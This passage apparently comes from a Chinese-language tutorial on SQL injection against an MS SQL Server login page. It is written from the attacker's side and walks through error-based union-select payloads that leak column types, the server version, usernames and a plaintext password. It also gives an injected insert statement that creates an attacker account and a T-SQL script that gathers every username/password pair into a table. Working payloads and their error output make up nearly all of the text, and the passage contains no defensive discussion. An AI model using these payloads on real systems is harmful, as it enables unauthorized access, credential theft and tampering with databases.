如果攻擊者能確定各列的數據類型將會很有用,可以利用類型轉換錯誤信息來達到這一點,看下面的例子:
Username: ' union select sum(username) from users--
這利用了SQL-Server試圖在確定兩行是否相同之前先執行'sum'子句的特性,計算文本域的和會返回這樣的信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate Operation cannot take a varchar data type as an argument.
/process_login.ASP, line 35
它告訴我們'username'字段的類型是'varchar'。相反的,如果我們試圖計算數值型的字段,但結果兩行的列數並不匹配:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate Operation cannot take a varchar data type as an argument.
/process_login.ASP, line 35
我們可以用這個技術來大概地定數據庫內各列的類型。
這樣攻擊者就可以寫出一個格式完美的'insert'語句:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
但是,這個技術的潛力不止這些。攻擊者可以利用任何錯誤信息來暴露系統環境或者數據庫信息。執行下面的語句可以得到一個標准錯誤信息的清單:
select * from master..sysmessages
檢查這個清單可以發現很多有趣的信息。
一個特別有用的信息有關類型轉換,如果你試圖將一個字符串轉換成整型,整個字符串的內容將會出現在錯誤信息裡。以我們登陸頁的例子來說,使用下面的'username'將會返回SQL-Server的版本以及它所在服務器操作系統的版本信息:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.ASP, line 35
這試圖將內置常量'@@version'轉換成整型,因為'users'表第一列是整數。
這個技術可以用來讀取任何數據庫的任何表的任何內容,如果攻擊者對用戶名和密碼感興趣,他們就可以從'users'表讀用戶名:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
這將選出比'a'大的最小用戶名,而且試圖將它轉換成一個整數:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.ASP, line 35
攻擊者就知道'admin'帳號存在,他現在可以把他發現的用戶名放進'where'子句來反復測試這行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.ASP, line 35
一旦攻擊者確定了用戶名,他就可以搜集密碼;
Username: ' union select passWord,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.ASP, line 35
一個更“別致”的技術是將用戶名和密碼連接成一個單獨的字符傳,然後試圖將它轉換成整型。這將舉另一種例子;Transact-SQL語句可以將字符串連接成一行而不改變他們的意義,下面的腳本將連接這些值:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+passWord from users where
username>@ret
select @ret as ret into foo
end